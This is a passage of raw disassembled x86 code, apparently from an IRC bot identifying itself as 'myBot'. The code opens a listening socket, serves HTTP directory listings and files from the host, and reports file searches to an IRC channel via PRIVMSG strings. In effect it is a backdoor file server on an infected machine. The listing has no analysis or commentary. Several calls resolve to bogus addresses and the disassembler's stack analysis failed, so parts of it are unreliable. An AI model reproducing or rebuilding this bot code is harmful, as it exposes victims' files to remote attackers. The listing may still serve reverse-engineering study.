var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 28F0h
call sub_41C500
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_5EC]
push 1
rep movsd
pop esi
xor ebx, ebx
mov [eax+3ACh], esi
push 10h
lea eax, [ebp+var_24]
push ebx
push eax
mov [ebp+var_14], esi
call sub_41BF70
add esp, 0Ch
mov [ebp+var_24], 2
push [ebp+var_25C]
call dword_4CB9D4
push ebx
push esi
push 2
mov [ebp+var_22], ax
mov [ebp+var_20], ebx
call dword_4CBA54
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_C], edi
jz loc_40FEC1
mov eax, [ebp+var_254]
push 10h
imul eax, 234h
mov dword_43E91C[eax], edi
lea eax, [ebp+var_24]
push eax
push edi
call dword_4CBA00
cmp eax, 0FFFFFFFFh
jz loc_40FEC1
push 7FFFFFFFh
push edi
call dword_4CB9FC
cmp eax, 0FFFFFFFFh
jz loc_40FEC1
lea eax, [ebp+var_14]
push eax
push 8004667Eh
push edi
call dword_4CBA70
cmp eax, 0FFFFFFFFh
jz loc_40FEC1
mov ebx, esi
mov [ebp+var_134], edi
mov [ebp+var_138], ebx
mov [ebp+var_8], edi
loc_40FBAD: ; CODE XREF: sub_40FAD6+3E1j
push 41h
xor eax, eax
pop ecx
lea esi, [ebp+var_138]
push eax
push eax
push eax
lea eax, [ebp+var_6F0]
push eax
mov eax, [ebp+var_8]
lea edi, [ebp+var_6F0]
inc eax
rep movsd
push eax
call dword_4CB9BC
cmp eax, 0FFFFFFFFh
jz loc_40FEBC
xor esi, esi
mov [ebp+var_4], esi
loc_40FBE3: ; CODE XREF: sub_40FAD6+3DBj
lea eax, [ebp+var_6F0]
push eax
push esi
call dword_4CB8C0
test eax, eax
jz loc_40FEA7
cmp esi, [ebp+var_C]
jnz short loc_40FC65
lea eax, [ebp+var_10]
mov [ebp+var_10], 10h
push eax
lea eax, [ebp+var_34]
push eax
push [ebp+var_C]
call dword_4CBA68
cmp eax, 0FFFFFFFFh
jz loc_40FEA7
xor ecx, ecx
test ebx, ebx
jbe short loc_40FC37
lea edx, [ebp+var_134]
loc_40FC2B: ; CODE XREF: sub_40FAD6+15Fj
cmp [edx], eax
jz short loc_40FC37
inc ecx
add edx, 4
cmp ecx, ebx
jb short loc_40FC2B
loc_40FC37: ; CODE XREF: sub_40FAD6+14Dj
; sub_40FAD6+157j
cmp ecx, ebx
jnz short loc_40FC54
cmp ebx, 40h
jnb short loc_40FC54
mov [ebp+ecx*4+var_134], eax
mov ebx, [ebp+var_138]
inc ebx
mov [ebp+var_138], ebx
loc_40FC54: ; CODE XREF: sub_40FAD6+163j
; sub_40FAD6+168j
cmp eax, [ebp+var_8]
jbe loc_40FEA7
mov [ebp+var_8], eax
jmp loc_40FEA7
; ---------------------------------------------------------------------------
loc_40FC65: ; CODE XREF: sub_40FAD6+126j
mov edi, 1000h
lea eax, [ebp+var_28F0]
push edi
push 0
push eax
call sub_41BF70
push edi
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_41BF70
add esp, 18h
lea eax, [ebp+var_28F0]
push 0
push edi
push eax
push esi
call dword_4CB9EC
test eax, eax
jg short loc_40FCF8
push esi
call dword_4CBA6C
xor ecx, ecx
test ebx, ebx
jbe loc_40FEA7
lea eax, [ebp+var_134]
loc_40FCB7: ; CODE XREF: sub_40FAD6+1EBj
cmp [eax], esi
jz short loc_40FCC8
inc ecx
add eax, 4
cmp ecx, ebx
jb short loc_40FCB7
jmp loc_40FEA7
; ---------------------------------------------------------------------------
loc_40FCC8: ; CODE XREF: sub_40FAD6+1E3j
lea eax, [ebx-1]
cmp ecx, eax
jnb short loc_40FCEC
lea eax, [ebp+ecx*4+var_134]
loc_40FCD6: ; CODE XREF: sub_40FAD6+214j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov ebx, [ebp+var_138]
add eax, 4
lea edx, [ebx-1]
cmp ecx, edx
jb short loc_40FCD6
loc_40FCEC: ; CODE XREF: sub_40FAD6+1F7j
dec ebx
mov [ebp+var_138], ebx
jmp loc_40FEA7
; ---------------------------------------------------------------------------
loc_40FCF8: ; CODE XREF: sub_40FAD6+1C8j
xor esi, esi
push 104h
lea eax, [ebp+var_23C]
push esi
push eax
call sub_41BF70
lea eax, [ebp+var_28F0]
mov [ebp+arg_0], esi
push eax
call sub_41B9C0
add esp, 10h
test eax, eax
jbe loc_40FEA7
loc_40FD26: ; CODE XREF: sub_40FAD6+309j
mov eax, [ebp+arg_0]
mov al, [ebp+eax+var_28F0]
cmp al, 0Ah
mov [ebp+esi+var_18F0], al
jnz loc_40FDCB
mov esi, offset aGet_0 ; "GET "
lea eax, [ebp+var_18F0]
push esi
push eax
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_40FD9F
lea eax, [ebp+var_18F0]
push eax
call sub_41B9C0
cmp eax, 5
pop ecx
jbe short loc_40FD9F
mov eax, offset asc_42CDC0 ; " "
push eax
push eax
lea eax, [ebp+var_18F0]
push esi
push eax
call sub_41C2E0
pop ecx
pop ecx
push eax
call sub_41C2E0
pop ecx
pop ecx
push eax
call sub_41CAD4
push eax
lea eax, [ebp+var_23C]
push eax
call sub_41C890
add esp, 10h
jmp short loc_40FDB6
; ---------------------------------------------------------------------------
loc_40FD9F: ; CODE XREF: sub_40FAD6+27Fj
; sub_40FAD6+291j
lea eax, [ebp+var_18F0]
push offset asc_4349EC ; "\r\n"
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_40FDEA
loc_40FDB6: ; CODE XREF: sub_40FAD6+2C7j
push edi
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_41BF70
add esp, 0Ch
or esi, 0FFFFFFFFh
loc_40FDCB: ; CODE XREF: sub_40FAD6+263j
inc [ebp+arg_0]
lea eax, [ebp+var_28F0]
push eax
inc esi
call sub_41B9C0
cmp [ebp+arg_0], eax
pop ecx
jb loc_40FD26
jmp loc_40FEA7
; ---------------------------------------------------------------------------
loc_40FDEA: ; CODE XREF: sub_40FAD6+2DEj
xor ecx, ecx
test ebx, ebx
jbe short loc_40FE34
lea eax, [ebp+var_134]
loc_40FDF6: ; CODE XREF: sub_40FAD6+32Dj
mov esi, [ebp+var_4]
cmp [eax], esi
jz short loc_40FE07
inc ecx
add eax, 4
cmp ecx, ebx
jb short loc_40FDF6
jmp short loc_40FE37
; ---------------------------------------------------------------------------
loc_40FE07: ; CODE XREF: sub_40FAD6+325j
lea eax, [ebx-1]
cmp ecx, eax
jnb short loc_40FE2B
lea eax, [ebp+ecx*4+var_134]
loc_40FE15: ; CODE XREF: sub_40FAD6+353j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov ebx, [ebp+var_138]
add eax, 4
lea edx, [ebx-1]
cmp ecx, edx
jb short loc_40FE15
loc_40FE2B: ; CODE XREF: sub_40FAD6+336j
dec ebx
mov [ebp+var_138], ebx
jmp short loc_40FE37
; ---------------------------------------------------------------------------
loc_40FE34: ; CODE XREF: sub_40FAD6+318j
mov esi, [ebp+var_4]
loc_40FE37: ; CODE XREF: sub_40FAD6+32Fj
; sub_40FAD6+35Cj
lea eax, [ebp+var_23C]
test eax, eax
jz short loc_40FEA0
lea eax, [ebp+var_360]
push eax
call sub_41B9C0
mov edi, eax
lea eax, [ebp+var_23C]
push eax
call sub_41B9C0
add edi, eax
pop ecx
cmp edi, 104h
pop ecx
jnb short loc_40FEA0
and [ebp+arg_0], 0
lea eax, [ebp+arg_0]
push eax
push 8004667Eh
push esi
call dword_4CBA70
push [ebp+var_254]
lea eax, [ebp+var_23C]
push [ebp+var_248]
push eax
lea eax, [ebp+var_360]
push eax
push esi
call sub_4100B4
add esp, 14h
jmp short loc_40FEA7
; ---------------------------------------------------------------------------
loc_40FEA0: ; CODE XREF: sub_40FAD6+369j
; sub_40FAD6+38Fj
push esi
call dword_4CBA6C
loc_40FEA7: ; CODE XREF: sub_40FAD6+11Dj
; sub_40FAD6+143j ...
mov esi, [ebp+var_4]
inc esi
cmp esi, [ebp+var_8]
mov [ebp+var_4], esi
jbe loc_40FBE3
jmp loc_40FBAD
; ---------------------------------------------------------------------------
loc_40FEBC: ; CODE XREF: sub_40FAD6+102j
mov edi, [ebp+var_C]
xor ebx, ebx
loc_40FEC1: ; CODE XREF: sub_40FAD6+6Aj
; sub_40FAD6+92j ...
call dword_4CB968
push eax
lea eax, [ebp+var_8F0]
push offset unk_4349C4
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_24C], ebx
jnz short loc_40FF07
push ebx
lea eax, [ebp+var_8F0]
push [ebp+var_250]
push eax
lea eax, [ebp+var_5E8]
push eax
push [ebp+var_5EC]
call sub_409869
add esp, 14h
loc_40FF07: ; CODE XREF: sub_40FAD6+40Cj
lea eax, [ebp+var_8F0]
push eax
call sub_415D38
pop ecx
push edi
call dword_4CBA6C
push [ebp+var_254]
call sub_40B6D6
pop ecx
push ebx
nop
call near ptr 26F0A80h
pop edi
pop esi
pop ebx
sub_40FAD6 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FF31 proc near ; DATA XREF: sub_4100B4+24Do
var_1654 = byte ptr -1654h
var_654 = byte ptr -654h
var_550 = byte ptr -550h
var_44C = dword ptr -44Ch
var_3C8 = byte ptr -3C8h
var_2C4 = byte ptr -2C4h
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_A4 = dword ptr -0A4h
var_9C = byte ptr -9Ch
var_68 = byte ptr -68h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1654h
call sub_41C500
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_44C]
rep movsd
mov dword ptr [eax+3ACh], 1
lea eax, [ebp+var_3C8]
push eax
lea eax, [ebp+var_550]
push eax
call sub_41C266
pop ecx
lea eax, [ebp+var_2C4]
pop ecx
push eax
lea eax, [ebp+var_654]
push eax
call sub_41C266
xor edi, edi
pop ecx
cmp [ebp+var_A4], edi
pop ecx
jz short loc_40FF97
push offset aTextHtml ; "text/html"
jmp short loc_40FF9C
; ---------------------------------------------------------------------------
loc_40FF97: ; CODE XREF: sub_40FF31+5Dj
push offset aApplicationOct ; "application/octet-stream"
loc_40FF9C: ; CODE XREF: sub_40FF31+64j
lea eax, [ebp+var_9C]
push eax
call sub_41C266
pop ecx
lea eax, [ebp+var_68]
pop ecx
mov esi, 409h
push 46h
push eax
push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy"
push edi
push edi
push esi
nop
call near ptr 2760000h
lea eax, [ebp+var_20]
push 1Eh
push eax
push offset aHhMmSs ; "HH:mm:ss"
push edi
push edi
push esi
nop
call near ptr 2750000h
lea eax, [ebp+var_20]
cmp [ebp+var_B8], 0FFFFFFFFh
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
jnz short loc_410015
lea eax, [ebp+var_9C]
push eax
lea eax, [ebp+var_1654]
push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_41C266
add esp, 24h
jmp short loc_410036
; ---------------------------------------------------------------------------
loc_410015: ; CODE XREF: sub_40FF31+C5j
push [ebp+var_B8]
lea eax, [ebp+var_9C]
push eax
lea eax, [ebp+var_1654]
push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_41C266
add esp, 28h
loc_410036: ; CODE XREF: sub_40FF31+E2j
lea eax, [ebp+var_1654]
push edi
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_1654]
push eax
loc_41004C: ; DATA XREF: ___:004385A8o
; ___:004385BCo
push [ebp+var_44C]
call dword_4CBA24
cmp [ebp+var_A4], edi
jnz short loc_410076
lea eax, [ebp+var_550]
push eax
push [ebp+var_44C]
call sub_4109F1
pop ecx
pop ecx
jmp short loc_410093
; ---------------------------------------------------------------------------
loc_410076: ; CODE XREF: sub_40FF31+12Dj
lea eax, [ebp+var_654]
push eax
push edi
push [ebp+var_44C]
lea eax, [ebp+var_550]
push eax
call sub_41036B
add esp, 10h
loc_410093: ; CODE XREF: sub_40FF31+143j
push [ebp+var_44C]
call dword_4CBA6C
push [ebp+var_B4]
call sub_40B6D6
pop ecx
push edi
nop
call near ptr 26F0A80h
pop edi
pop esi
sub_40FF31 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4100B4 proc near ; CODE XREF: sub_40FAD6+3C0p
var_8C4 = byte ptr -8C4h
var_6C4 = dword ptr -6C4h
var_640 = byte ptr -640h
var_53C = byte ptr -53Ch
var_330 = dword ptr -330h
var_32C = dword ptr -32Ch
var_31C = dword ptr -31Ch
var_318 = dword ptr -318h
var_314 = byte ptr -314h
var_211 = byte ptr -211h
var_210 = byte ptr -210h
var_10C = byte ptr -10Ch
var_10B = byte ptr -10Bh
var_10A = byte ptr -10Ah
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 8C4h
push ebx
push esi
push edi
xor edi, edi
push 104h
lea eax, [ebp+var_210]
push edi
push eax
mov [ebp+var_4], edi
call sub_41BF70
mov eax, [ebp+arg_8]
add esp, 0Ch
cmp byte ptr [eax], 2Fh
jz short loc_4100EA
push eax
push offset aS_3 ; "\\%s"
jmp short loc_4100F3
; ---------------------------------------------------------------------------
loc_4100EA: ; CODE XREF: sub_4100B4+2Cj
push eax
mov byte ptr [eax], 5Ch
push offset aS_1 ; "%s"
loc_4100F3: ; CODE XREF: sub_4100B4+34j
lea eax, [ebp+var_10C]
push eax
call sub_41C266
add esp, 0Ch
lea eax, [ebp+var_10C]
xor esi, esi
xor ebx, ebx
push eax
call sub_41B9C0
test eax, eax
pop ecx
jbe short loc_41018E
mov [ebp+arg_8], 2
loc_41011E: ; CODE XREF: sub_4100B4+D8j
lea eax, [ebp+var_10C]
push eax
call sub_41B9C0
cmp [ebp+arg_8], eax
pop ecx
jnb short loc_41015E
cmp [ebp+esi+var_10C], 25h
jnz short loc_41015E
cmp [ebp+esi+var_10B], 32h
jnz short loc_41015E
cmp [ebp+esi+var_10A], 30h
jnz short loc_41015E
inc esi
mov [ebp+ebx+var_210], 20h
inc esi
add [ebp+arg_8], 2
jmp short loc_410178
; ---------------------------------------------------------------------------
loc_41015E: ; CODE XREF: sub_4100B4+7Aj
; sub_4100B4+84j ...
mov al, [ebp+esi+var_10C]
cmp al, 2Fh
jnz short loc_41016E
push 5Ch
pop eax
jmp short loc_410171
; ---------------------------------------------------------------------------
loc_41016E: ; CODE XREF: sub_4100B4+B3j
movsx eax, al
loc_410171: ; CODE XREF: sub_4100B4+B8j
mov [ebp+ebx+var_210], al
loc_410178: ; CODE XREF: sub_4100B4+A8j
lea eax, [ebp+var_10C]
inc esi
inc [ebp+arg_8]
push eax
inc ebx
call sub_41B9C0
cmp esi, eax
pop ecx
jb short loc_41011E
loc_41018E: ; CODE XREF: sub_4100B4+61j
lea eax, [ebp+var_210]
push eax
lea eax, [ebp+var_314]
push [ebp+arg_4]
push offset dword_429AC8
push eax
call sub_41C266
lea eax, [ebp+var_314]
push offset asc_42A080 ; "\n"
push eax
call sub_41CAD4
add esp, 18h
lea eax, [ebp+var_314]
push eax
call near ptr 2690E7Eh
nop
push 1
cmp eax, 10h
pop esi
jz short loc_4101DF
cmp eax, 0FFFFFFFFh
jnz short loc_4101E2
push [ebp+arg_0]
jmp loc_410262
; ---------------------------------------------------------------------------
loc_4101DF: ; CODE XREF: sub_4100B4+11Cj
mov [ebp+var_4], esi
loc_4101E2: ; CODE XREF: sub_4100B4+121j
cmp [ebp+ebx+var_211], 5Ch
jnz short loc_4101EF
mov [ebp+var_4], esi
loc_4101EF: ; CODE XREF: sub_4100B4+136j
mov ebx, [ebp+arg_0]
cmp [ebp+var_4], edi
mov [ebp+var_6C4], ebx
mov [ebp+var_318], edi
jz short loc_41026D
cmp [ebp+arg_C], edi
jz short loc_410261
lea eax, [ebp+var_314]
push offset asc_434C78 ; "*"
push eax
call sub_41C8A0
pop ecx
lea eax, [ebp+var_314]
pop ecx
push eax
lea eax, [ebp+var_640]
push eax
call sub_41C266
lea eax, [ebp+var_210]
push eax
call sub_410AAE
add esp, 0Ch
lea eax, [ebp+var_210]
push eax
lea eax, [ebp+var_53C]
push eax
call sub_41C266
or [ebp+var_330], 0FFFFFFFFh
pop ecx
pop ecx
mov [ebp+var_31C], esi
jmp short loc_4102BC
; ---------------------------------------------------------------------------
loc_410261: ; CODE XREF: sub_4100B4+152j
push ebx
loc_410262: ; CODE XREF: sub_4100B4+126j
call dword_4CBA6C
jmp loc_410364
; ---------------------------------------------------------------------------
loc_41026D: ; CODE XREF: sub_4100B4+14Dj
push edi
push edi
push 3
push edi
push esi
lea eax, [ebp+var_314]
push 80000000h
push eax
nop
call near ptr 2730000h
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_4102BC
lea eax, [ebp+var_314]
push eax
lea eax, [ebp+var_640]
push eax
call sub_41C266
pop ecx
mov [ebp+var_31C], edi
pop ecx
push edi
push esi
nop
call near ptr 2760B9Eh
push esi
mov [ebp+var_330], eax
nop
call near ptr 2670770h
loc_4102BC: ; CODE XREF: sub_4100B4+1ABj
; sub_4100B4+1D6j
mov esi, [ebp+arg_10]
lea eax, [ebp+var_8C4]
push esi
push offset unk_434C44
push eax
call sub_41C266
push edi
lea eax, [ebp+var_8C4]
push 3
push eax
call sub_40B3BA
mov [ebp+var_32C], eax
imul eax, 234h
add esp, 18h
mov dword_43E914[eax], esi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_6C4]
push edi
push eax
push offset sub_40FF31
push edi
push edi
nop
call near ptr 2690000h
mov ecx, [ebp+var_32C]
imul ecx, 234h
cmp eax, edi
mov dword_43E924[ecx], eax
jz short loc_410336
loc_410324: ; CODE XREF: sub_4100B4+280j
cmp [ebp+var_318], edi
jnz short loc_410364
push 5
nop
call near ptr 2680EF8h
jmp short loc_410324
; ---------------------------------------------------------------------------
loc_410336: ; CODE XREF: sub_4100B4+26Ej
push ebx
call dword_4CBA6C
call near ptr 269086Bh
nop
push eax
lea eax, [ebp+var_8C4]
push offset unk_434C0C
push eax
call sub_41C266
lea eax, [ebp+var_8C4]
push eax
call sub_415D38
add esp, 10h
loc_410364: ; CODE XREF: sub_4100B4+1B4j
; sub_4100B4+276j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_4100B4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41036B proc near ; CODE XREF: sub_401ACD+75E3p
; sub_40FF31+15Ap
var_594 = byte ptr -594h
var_490 = byte ptr -490h
var_388 = dword ptr -388h
var_374 = byte ptr -374h
var_368 = dword ptr -368h
var_35C = byte ptr -35Ch
var_248 = byte ptr -248h
var_48 = byte ptr -48h
var_20 = byte ptr -20h
var_18 = word ptr -18h
var_16 = word ptr -16h
var_12 = word ptr -12h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 594h
push ebx
push esi
push edi
xor ebx, ebx
push 104h
lea eax, [ebp+var_594]
push ebx
push eax
mov [ebp+var_4], ebx
mov [ebp+var_8], ebx
call sub_41BF70
mov edi, [ebp+arg_0]
push offset asc_42A080 ; "\n"
push edi
call sub_41CAD4
add esp, 14h
cmp [ebp+arg_8], ebx
jz short loc_4103CA
push edi
mov esi, 200h
push [ebp+arg_8]
lea eax, [ebp+var_248]
push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n"
push esi
push eax
call sub_41C360
add esp, 14h
jmp loc_4104C9
; ---------------------------------------------------------------------------
loc_4103CA: ; CODE XREF: sub_41036B+3Aj
cmp [ebp+arg_C], ebx
push edi
jz loc_4104AF
call sub_41B9C0
pop ecx
mov [eax+edi-1], bl
push edi
mov esi, 200h
push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24
push edi
push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24
push edi
call sub_41B9C0
pop ecx
mov byte ptr [eax+edi], 2Ah
push 3Ch
push 96h
push 0E6h
push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41C360
add esp, 18h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24
push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41C360
add esp, 0Ch
jmp short loc_4104C9
; ---------------------------------------------------------------------------
loc_4104AF: ; CODE XREF: sub_41036B+63j
mov esi, 200h
push offset aSearchingForS ; "Searching for: %s\r\n"
lea eax, [ebp+var_248]
push esi
push eax
call sub_41C360
add esp, 10h
loc_4104C9: ; CODE XREF: sub_41036B+5Aj
; sub_41036B+142j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24
cmp [ebp+arg_C], ebx
jz short loc_410564
push [ebp+arg_C]
call sub_41B9C0
cmp eax, 2
pop ecx
jbe short loc_410564
push [ebp+arg_C]
call sub_41B9C0
sub eax, 3
pop ecx
jz short loc_410515
loc_410509: ; CODE XREF: sub_41036B+1A8j
mov ecx, [ebp+arg_C]
cmp byte ptr [eax+ecx], 2Fh
jz short loc_410515
dec eax
jnz short loc_410509
loc_410515: ; CODE XREF: sub_41036B+19Cj
; sub_41036B+1A5j
inc eax
push eax
lea eax, [ebp+var_594]
push [ebp+arg_C]
push eax
call sub_41BFD0
add esp, 0Ch
lea eax, [ebp+var_594]
push eax
push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24
loc_410564: ; CODE XREF: sub_41036B+180j
; sub_41036B+18Ej
lea eax, [ebp+var_388]
push eax
push edi
call near ptr 2790000h
nop
lea ecx, [ebp+var_388]
mov [ebp+arg_0], eax
push ecx
push eax
nop
call near ptr 2780000h
test eax, eax
jz loc_410954
mov edi, 1FFh
loc_410590: ; CODE XREF: sub_41036B+5E3j
cmp [ebp+var_388], ebx
jz loc_41093C
lea eax, [ebp+var_35C]
push offset a__ ; ".."
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_41093C
lea eax, [ebp+var_35C]
push offset a_ ; "."
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_41093C
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_374]
push eax
call near ptr 27705BFh
nop
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_20]
push eax
nop
call near ptr 2770000h
mov ax, [ebp+var_10]
mov ecx, offset aPm ; "PM"
cmp ax, 0Ch
ja short loc_410605
mov ecx, offset aAm ; "AM"
loc_410605: ; CODE XREF: sub_41036B+293j
cmp ax, 0Ch
movzx eax, ax
jbe short loc_410611
sub eax, 0Ch
loc_410611: ; CODE XREF: sub_41036B+2A1j
push ecx
movzx ecx, [ebp+var_E]
push ecx
push eax
movzx eax, [ebp+var_18]
push eax
movzx eax, [ebp+var_12]
push eax
movzx eax, [ebp+var_16]
push eax
lea eax, [ebp+var_48]
push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s"
push eax
call sub_41C266
add esp, 20h
test byte ptr [ebp+var_388], 10h
jz loc_4107B4
inc [ebp+var_8]
cmp [ebp+arg_8], ebx
jz short loc_410685
lea eax, [ebp+var_35C]
push eax
push offset aS ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
push [ebp+arg_8]
push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n"
jmp loc_4108FD
; ---------------------------------------------------------------------------
loc_410685: ; CODE XREF: sub_41036B+2E0j
cmp [ebp+arg_C], ebx
jz loc_41076F
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset aSS_0 ; "%s%s/"
push edi
push eax
call sub_41C360
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24
lea eax, [ebp+var_35C]
push eax
call sub_41B9C0
cmp eax, 1Eh
pop ecx
lea eax, [ebp+var_35C]
push eax
jbe short loc_410725
push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
jmp short loc_41072A
; ---------------------------------------------------------------------------
loc_410725: ; CODE XREF: sub_41036B+3B1j
push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"
loc_41072A: ; CODE XREF: sub_41036B+3B8j
lea eax, [ebp+var_248]
push edi
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
push edi
jmp loc_4108FE
; ---------------------------------------------------------------------------
loc_41076F: ; CODE XREF: sub_41036B+31Dj
lea eax, [ebp+var_35C]
push eax
push offset aS ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
push offset a31s21s ; "%-31s %-21s\r\n"
lea eax, [ebp+var_248]
push esi
push eax
call sub_41C360
add esp, 14h
jmp loc_41090D
; ---------------------------------------------------------------------------
loc_4107B4: ; CODE XREF: sub_41036B+2D4j
inc [ebp+var_4]
cmp [ebp+arg_8], ebx
jz short loc_4107F3
push ebx
push [ebp+var_368]
call sub_416CC9
pop ecx
pop ecx
push eax
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push [ebp+arg_8]
push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n"
push esi
loc_4107DF: ; CODE XREF: sub_41036B+577j
lea eax, [ebp+var_248]
push eax
call sub_41C360
add esp, 1Ch
jmp loc_41090D
; ---------------------------------------------------------------------------
loc_4107F3: ; CODE XREF: sub_41036B+44Fj
cmp [ebp+arg_C], ebx
jz loc_4108E7
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset dword_429AC8
push edi
push eax
call sub_41C360
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24
lea eax, [ebp+var_35C]
push eax
call sub_41B9C0
cmp eax, 1Fh
pop ecx
lea eax, [ebp+var_35C]
push eax
jbe short loc_410893
push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
jmp short loc_410898
; ---------------------------------------------------------------------------
loc_410893: ; CODE XREF: sub_41036B+51Fj
push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"
loc_410898: ; CODE XREF: sub_41036B+526j
lea eax, [ebp+var_248]
push edi
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
